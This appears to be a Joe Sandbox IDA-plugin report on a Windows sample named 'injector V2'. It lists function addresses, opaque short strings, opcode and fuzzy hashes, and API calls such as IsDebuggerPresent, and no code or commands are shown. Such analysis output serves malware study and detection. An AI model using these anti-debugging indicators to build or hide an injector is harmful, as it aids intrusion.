&, xrefs: 00B4297F
&, xrefs: 00B43981
+I"w, xrefs: 00B420D9

Memory Dump Source

Source File: 00000000.00000002.1695394711.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000000.00000002.1695320078.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695441209.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695460196.0000000000B5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695477440.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695495049.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695512577.0000000000B63000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b20000_injector V2.jbxd

Similarity

API ID:
String ID: >g[$!]j$"]j$"]j$"]j$"]j$&qq!$&qq!$&qq!$&qq!$&$&$&$&$+I"w$,I"w$,I"w$,I"w$,I"w$fVp$fVp$/YS$/YS$/YS
API String ID: 0-635301867
Opcode ID: be2c373e983d898951ee65cf91a86cbb334b35deeecb617bebe2a6090589d081
Instruction ID: 0ff9528411ddc48cbd57ec4e62b6b214c9dc22e6c9dd0d49b9e929359a4dd675
Opcode Fuzzy Hash: be2c373e983d898951ee65cf91a86cbb334b35deeecb617bebe2a6090589d081
Instruction Fuzzy Hash: 30D2FB7AA056004B4A2CCA2895E163D72D3DBD877077C8BDFD4334B7E4CA719F45AA06

Function 00B3F340 Relevance: 19.6, Strings: 14, Instructions: 2099COMMON

Download Yara Rule

Strings

$^t0, xrefs: 00B40011
=am#, xrefs: 00B3F494
>am#, xrefs: 00B3F3BF
lX]E, xrefs: 00B3FD00
6Haz, xrefs: 00B3F948
lX]E, xrefs: 00B40304
$^t0, xrefs: 00B40403
6Haz, xrefs: 00B41156
>am#, xrefs: 00B3FB15
6Haz, xrefs: 00B40A0A
>am#, xrefs: 00B40212
kX]E, xrefs: 00B3F5FB
$^t0, xrefs: 00B40232
lX]E, xrefs: 00B40381

Memory Dump Source

Source File: 00000000.00000002.1695394711.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000000.00000002.1695320078.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695441209.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695460196.0000000000B5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695477440.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695495049.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695512577.0000000000B63000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b20000_injector V2.jbxd

Similarity

API ID:
String ID: $^t0$$^t0$$^t0$6Haz$6Haz$6Haz$=am#$>am#$>am#$>am#$kX]E$lX]E$lX]E$lX]E
API String ID: 0-4155389939
Opcode ID: 90166c8b574403ab5dbc3d77106dd02332e4b59f3c28ab764a19c7a4841d80b6
Instruction ID: f28344041a9f68d5fa22498c5d9443de6ceb4c22d51c9c62a51cac5c4870f5ce
Opcode Fuzzy Hash: 90166c8b574403ab5dbc3d77106dd02332e4b59f3c28ab764a19c7a4841d80b6
Instruction Fuzzy Hash: EBD23A36E152158B8F2C9A2CD5E117EB3D1DB54320B3506EEED23AB3E0CB32DD469691

Function 00B47840 Relevance: 17.1, Strings: 13, Instructions: 886COMMON

Download Yara Rule

Strings

1I#, xrefs: 00B47CC2
WlUi, xrefs: 00B47B65
WlUi, xrefs: 00B47B57
1I#, xrefs: 00B47BA2
1I#, xrefs: 00B47B90
WlUi, xrefs: 00B47E21
U/, xrefs: 00B4852D
U/, xrefs: 00B4854A
1I#, xrefs: 00B4830E
VlUi, xrefs: 00B480AD
WlUi, xrefs: 00B48361
U/, xrefs: 00B48124
U/, xrefs: 00B47D9E

Memory Dump Source

Source File: 00000000.00000002.1695394711.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000000.00000002.1695320078.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695441209.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695460196.0000000000B5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695477440.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695495049.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695512577.0000000000B63000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b20000_injector V2.jbxd

Similarity

API ID:
String ID: VlUi$WlUi$WlUi$WlUi$WlUi$1I#$1I#$1I#$1I#$U/$U/$U/$U/
API String ID: 0-3233344364
Opcode ID: 7d9c895474c0423a3e128664574922b9dd8e4897013eb72fa4705b5557de1460
Instruction ID: 706946b3042eeaaf5c89fe4d09d534ee24ecbb63f458c933df2e1c3d99713a15
Opcode Fuzzy Hash: 7d9c895474c0423a3e128664574922b9dd8e4897013eb72fa4705b5557de1460
Instruction Fuzzy Hash: 40526F3664C7004F5A6CC62999C812E77D2DBA4320B248AD1EA26CF3F5FF60DF45E642

Function 00B3DD00 Relevance: 10.8, APIs: 1, Strings: 5, Instructions: 293COMMON

Download Yara Rule

Strings

eIY, xrefs: 00B3DDF8
eIY, xrefs: 00B3DD98
string too long, xrefs: 00B3DE5A
eIY, xrefs: 00B3DD75
S@, xrefs: 00B3E3E3

Memory Dump Source

Source File: 00000000.00000002.1695394711.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000000.00000002.1695320078.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695441209.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695460196.0000000000B5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695477440.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695495049.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695512577.0000000000B63000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b20000_injector V2.jbxd

Similarity

API ID:
String ID: string too long$S@$eIY$eIY$eIY
API String ID: 0-2211027269
Opcode ID: 3a92852118e25de9ca059e9154b1e6d39ea07e4758f4c9a03d05b6ac093ea874
Instruction ID: 71ef1e07bdf05296278c4bce1f8ad97c67ddfe2932e0035b2085d1c06cd188bb
Opcode Fuzzy Hash: 3a92852118e25de9ca059e9154b1e6d39ea07e4758f4c9a03d05b6ac093ea874
Instruction Fuzzy Hash: 4A9149363042218B9E298A2CA9D523D3AD39BE0360F7D89D7E825DF7E4DB35CC458742

Function 00B35F60 Relevance: 9.0, Strings: 7, Instructions: 233COMMON

Download Yara Rule

Strings

9z`, xrefs: 00B3612A
C`lB, xrefs: 00B36000
9z`, xrefs: 00B3610C
9z`, xrefs: 00B362AB
C`lB, xrefs: 00B36029
9z`, xrefs: 00B35FE8
C`lB, xrefs: 00B3604B

Memory Dump Source

Source File: 00000000.00000002.1695394711.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000000.00000002.1695320078.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695441209.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695460196.0000000000B5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695477440.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695495049.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695512577.0000000000B63000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b20000_injector V2.jbxd

Similarity

API ID:
String ID: C`lB$C`lB$C`lB$9z`$9z`$9z`$9z`
API String ID: 0-915920326
Opcode ID: 919b27690586ad3199399c051936a3231d5cbbdf850362b9072eb6b1a48dfaf7
Instruction ID: 2c549c36efc044b2d2fe7fa0d289a286d315f1b5fc0fd172a690d66ce0f81439
Opcode Fuzzy Hash: 919b27690586ad3199399c051936a3231d5cbbdf850362b9072eb6b1a48dfaf7
Instruction Fuzzy Hash: 3781F43A511B109BCA344B28598471E77D2AB90364F368BD6DD22EF7F0CB36DC468B81

Function 00B2A36B Relevance: 9.0, Strings: 7, Instructions: 230COMMON

Download Yara Rule

Strings

A\, xrefs: 00B2A9AB
A\, xrefs: 00B2B85B
@\, xrefs: 00B2A377
A\, xrefs: 00B2B86D
"!-, xrefs: 00B2B880
"!-, xrefs: 00B2B872
"!-, xrefs: 00B2B46D

Memory Dump Source

Source File: 00000000.00000002.1695394711.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000000.00000002.1695320078.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695441209.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695460196.0000000000B5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695477440.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695495049.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695512577.0000000000B63000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b20000_injector V2.jbxd

Similarity

API ID:
String ID: @\$A\$A\$A\$"!-$"!-$"!-
API String ID: 0-1374745079
Opcode ID: 69ac5aa4550c41e1ba5c5d73d5566c1d209946ed39a2dc1cae421951b56c7645
Instruction ID: f7c5257fc0998ae67df1b368a24a50e81752cfacb1bea5835ec14fc8b69bdb22
Opcode Fuzzy Hash: 69ac5aa4550c41e1ba5c5d73d5566c1d209946ed39a2dc1cae421951b56c7645
Instruction Fuzzy Hash: 507107362047608B4D2C9A2879E953D63C3EBE6371B3986CFD91B8B6E4DF714C815A43

Function 00B3D4A0 Relevance: 8.1, Strings: 6, Instructions: 552COMMON

Download Yara Rule

Strings

.'K`, xrefs: 00B3D587
$\Z, xrefs: 00B3D5B1
.'K`, xrefs: 00B3D634
.'K`, xrefs: 00B3DAE6
$\Z, xrefs: 00B3DC63
-'K`, xrefs: 00B3D53B

Memory Dump Source

Source File: 00000000.00000002.1695394711.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000000.00000002.1695320078.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695441209.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695460196.0000000000B5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695477440.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695495049.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695512577.0000000000B63000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b20000_injector V2.jbxd

Similarity

API ID:
String ID: -'K`$.'K`$.'K`$.'K`$$\Z$$\Z
API String ID: 0-1124325746
Opcode ID: bc79fa3c6b0df019b7fb551830d665087249714335e5df840ff1afbd2a5ed912
Instruction ID: f06505c316897102fbffc14ff019bc58fd962788a82c66e8064d5fc84aa0605d
Opcode Fuzzy Hash: bc79fa3c6b0df019b7fb551830d665087249714335e5df840ff1afbd2a5ed912
Instruction Fuzzy Hash: 74122F76A043108F8B284B2874D46BDB7E2EB55360F7A07DAE912E73E0DA25DD85C781

Function 00B33440 Relevance: 6.9, Strings: 5, Instructions: 687COMMON

Download Yara Rule

Strings

@B;, xrefs: 00B33CD7
@B;, xrefs: 00B33BC6
@B;, xrefs: 00B33CC9
?B;, xrefs: 00B334B2
@B;, xrefs: 00B334C8

Memory Dump Source

Source File: 00000000.00000002.1695394711.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000000.00000002.1695320078.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695441209.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695460196.0000000000B5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695477440.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695495049.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695512577.0000000000B63000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b20000_injector V2.jbxd

Similarity

API ID:
String ID: ?B;$@B;$@B;$@B;$@B;
API String ID: 0-1209347523
Opcode ID: 94d72e2eb94082fb21df0caaffd0a05bee2b1eab2585fe4fdab0626c1cf3eaf6
Instruction ID: 981705177ae43eac6597735922e7296191ef055ef1ad491c6a5c98f798cb60ad
Opcode Fuzzy Hash: 94d72e2eb94082fb21df0caaffd0a05bee2b1eab2585fe4fdab0626c1cf3eaf6
Instruction Fuzzy Hash: B932073A7147005F4A28CA2899C456FB3E79BD8B34B358786E522CB7F4DB34DE86C641

Function 00B33F80 Relevance: 6.8, Strings: 5, Instructions: 572COMMON

Download Yara Rule

Strings

CyN, xrefs: 00B3411A
CyN, xrefs: 00B34128
CyN, xrefs: 00B34013
CyN, xrefs: 00B344AE
CyN, xrefs: 00B344A0

Memory Dump Source

Source File: 00000000.00000002.1695394711.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000000.00000002.1695320078.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695441209.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695460196.0000000000B5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695477440.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695495049.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695512577.0000000000B63000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b20000_injector V2.jbxd

Similarity

API ID:
String ID: CyN$CyN$CyN$CyN$CyN
API String ID: 0-4075027903
Opcode ID: df6a7943b541e0bde5374bb44ada6ffe104fdf6ae21c714f5394701ef89ba81f
Instruction ID: 5bd58dca2d682be4c2be47dca8cc642a36103c55e9b894e82004a9341be50f03
Opcode Fuzzy Hash: df6a7943b541e0bde5374bb44ada6ffe104fdf6ae21c714f5394701ef89ba81f
Instruction Fuzzy Hash: 2812F73A6047004B4A28CB2E56C462E72D29BDA331F758BD6E512CB7F4DB29DD4BC742

Function 00B47330 Relevance: 6.6, Strings: 5, Instructions: 310COMMON

Download Yara Rule

Strings

c~N, xrefs: 00B47543
c~N, xrefs: 00B475E2
c~N, xrefs: 00B473D6
b~N, xrefs: 00B473F0
c~N, xrefs: 00B475ED

Memory Dump Source

Source File: 00000000.00000002.1695394711.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000000.00000002.1695320078.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695441209.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695460196.0000000000B5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695477440.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695495049.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695512577.0000000000B63000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b20000_injector V2.jbxd

Similarity

API ID:
String ID: b~N$c~N$c~N$c~N$c~N
API String ID: 0-1905032987
Opcode ID: e6b4591400721c3c95bc73cfaa475e1206c99089188a1c4181b220de9a9d0da1
Instruction ID: b860ab4937dbb26c7307149c4699e7ab48ac46fd8a371983d54518367a7ad2c1
Opcode Fuzzy Hash: e6b4591400721c3c95bc73cfaa475e1206c99089188a1c4181b220de9a9d0da1
Instruction Fuzzy Hash: 2FA1FA7528C7404B4E288F6C55C422E73E6DBA8320B688AE6DD21CB2D4DF64DF45F646

Function 00B2B964 Relevance: 6.5, Strings: 5, Instructions: 235COMMON

Download Yara Rule

Strings

A\, xrefs: 00B2B85B
A\, xrefs: 00B2B86D
"!-, xrefs: 00B2B880
"!-, xrefs: 00B2B872
PbQ, xrefs: 00B2C1F9

Memory Dump Source

Source File: 00000000.00000002.1695394711.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000000.00000002.1695320078.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695441209.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695460196.0000000000B5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695477440.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695495049.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695512577.0000000000B63000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b20000_injector V2.jbxd

Similarity

API ID:
String ID: A\$A\$PbQ$"!-$"!-
API String ID: 0-1954403065
Opcode ID: 67841456246173b1c413a1f682e6299e290322b4b7eff75176ed0f21b7518d93
Instruction ID: 86c2b3492af1b99e8ad048e9aff66426349be1ec6e6b931f70a044ce2236062e
Opcode Fuzzy Hash: 67841456246173b1c413a1f682e6299e290322b4b7eff75176ed0f21b7518d93
Instruction Fuzzy Hash: D271D2362047604B4E2C8A2879E453D22C3EFE6331B3986DBD91F9B6E8DA354C815A47

Function 00B4F731 Relevance: 6.2, APIs: 4, Instructions: 205COMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00B4F821

Memory Dump Source

Source File: 00000000.00000002.1695394711.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000000.00000002.1695320078.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695441209.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695460196.0000000000B5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695477440.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695495049.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695512577.0000000000B63000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b20000_injector V2.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: 0ae6f514362f4626b441c296be7d10fb3397e6717d59fabab093f32f9d1e663b
Instruction ID: 26519f787e9162f85b47a5498e3652c7fc16b181adb8d4893e790f1473ee2040
Opcode Fuzzy Hash: 0ae6f514362f4626b441c296be7d10fb3397e6717d59fabab093f32f9d1e663b
Instruction Fuzzy Hash: F971C47190515AAFDF20AF38DC89BBABBF9EB05304F1441E9E449A7211DA358F85AF10

Function 00B496AF Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 00B496BB
IsDebuggerPresent.KERNEL32 ref: 00B49787
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00B497A7
UnhandledExceptionFilter.KERNEL32(?), ref: 00B497B1

Memory Dump Source

Source File: 00000000.00000002.1695394711.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000000.00000002.1695320078.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695441209.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695460196.0000000000B5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695477440.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695495049.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695512577.0000000000B63000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b20000_injector V2.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 3eb1fcac3bba856d3eb4b39082b71cb6ea4b334ed7d168fd5e985e099eff3e37
Instruction ID: ca03c3964246066d95ffd6abfea1d31a0c15c33ffc1fe09476ad374cbbd18999
Opcode Fuzzy Hash: 3eb1fcac3bba856d3eb4b39082b71cb6ea4b334ed7d168fd5e985e099eff3e37
Instruction Fuzzy Hash: 8C31E4B59453189BDB10EFA4D9897CDBBF8AF18300F1041EAE40DAB250EB719B859F45

Function 00B44CD0 Relevance: 4.8, APIs: 3, Instructions: 287COMMON

Download Yara Rule

APIs

___std_exception_destroy.LIBVCRUNTIME ref: 00B44D66

Memory Dump Source

Source File: 00000000.00000002.1695394711.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000000.00000002.1695320078.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695441209.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695460196.0000000000B5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695477440.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695495049.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695512577.0000000000B63000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b20000_injector V2.jbxd

Similarity

API ID: ___std_exception_destroy
String ID:
API String ID: 4194217158-0
Opcode ID: d1f2018f4cbf707ae15a2092ede6ff12df315ba00a63aed5c012fbbcf6d577df
Instruction ID: 78f63dc66f3ce5f10188f0bccfdd6f5f06ea3ff75bdcbb5fad9fc7ba040643b4
Opcode Fuzzy Hash: d1f2018f4cbf707ae15a2092ede6ff12df315ba00a63aed5c012fbbcf6d577df
Instruction Fuzzy Hash: 27913E3A6147004F5D28DE2869C532D73D29AA53317688EF2E922CB3E9DB24CF55E351

Function 00B4B79A Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,?), ref: 00B4B892
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,?), ref: 00B4B89C
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,?), ref: 00B4B8A9

Memory Dump Source

Source File: 00000000.00000002.1695394711.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000000.00000002.1695320078.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695441209.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695460196.0000000000B5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695477440.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695495049.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695512577.0000000000B63000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b20000_injector V2.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 3bd5582810baee16d8f22241fd5c50ebbe2ad62629a571158119ef7d92cc4cfd
Instruction ID: 8edcad0390d972f4f54210c8ed6aad2d6abee0fe3c46f67349142398d94a6b58
Opcode Fuzzy Hash: 3bd5582810baee16d8f22241fd5c50ebbe2ad62629a571158119ef7d92cc4cfd
Instruction Fuzzy Hash: E83192759013299BCB21DF68D989B8DBBF8EF18310F5041EAE41CA7290EB709F859F45

Function 00B41367 Relevance: 4.2, Strings: 3, Instructions: 413COMMON

Download Yara Rule

Strings

dUb, xrefs: 00B41C9B
dUb, xrefs: 00B41730
dUb, xrefs: 00B4172B

Memory Dump Source

Source File: 00000000.00000002.1695394711.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000000.00000002.1695320078.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695441209.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695460196.0000000000B5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695477440.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695495049.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695512577.0000000000B63000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b20000_injector V2.jbxd

Similarity

API ID:
String ID: dUb$ dUb$ dUb
API String ID: 0-1696577624
Opcode ID: c99ae8837af4524e64abca57c619fc93d1b4092d6294c319d914a32cd4bface6
Instruction ID: 31599825eb04c8fb21ccf7a0dadf86fd38b69347395dc12731e487b281d858be
Opcode Fuzzy Hash: c99ae8837af4524e64abca57c619fc93d1b4092d6294c319d914a32cd4bface6
Instruction Fuzzy Hash: 82D15A3DD04308475A2CEF2C96C517D72D3D7D4370F284ADAD8264BBE4E6628FC9A646

Function 00B34CC0 Relevance: 4.2, Strings: 3, Instructions: 404COMMON

Download Yara Rule

Strings

Mnj, xrefs: 00B34F4F
Mnj, xrefs: 00B34FEB
Mnj, xrefs: 00B3519B

Memory Dump Source

Source File: 00000000.00000002.1695394711.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000000.00000002.1695320078.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695441209.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695460196.0000000000B5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695477440.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695495049.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695512577.0000000000B63000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b20000_injector V2.jbxd

Similarity

API ID:
String ID: Mnj$Mnj$Mnj
API String ID: 0-3324928681
Opcode ID: 78bc169696fd6d201b59724774710c426360b8faa166af8e2b62c270681c7e1b
Instruction ID: 1f1de767dc7bf1a3e0750c4128b440b588de0039c66fb7460bcf03f5ec6494c5
Opcode Fuzzy Hash: 78bc169696fd6d201b59724774710c426360b8faa166af8e2b62c270681c7e1b
Instruction Fuzzy Hash: 1ED14C75205714CB993CC628E8C912D72D3EB98321F780FE6E467CB3A1DB29ED419653

Function 00B37F54 Relevance: 4.0, Strings: 3, Instructions: 243COMMON

Download Yara Rule

Strings

j.^, xrefs: 00B37DCC
i.^, xrefs: 00B37DC0
.Q_, xrefs: 00B38567

Memory Dump Source

Source File: 00000000.00000002.1695394711.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000000.00000002.1695320078.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695441209.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695460196.0000000000B5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695477440.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695495049.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695512577.0000000000B63000.00000008.00000001.01000000.00000003.sdmpDownload File

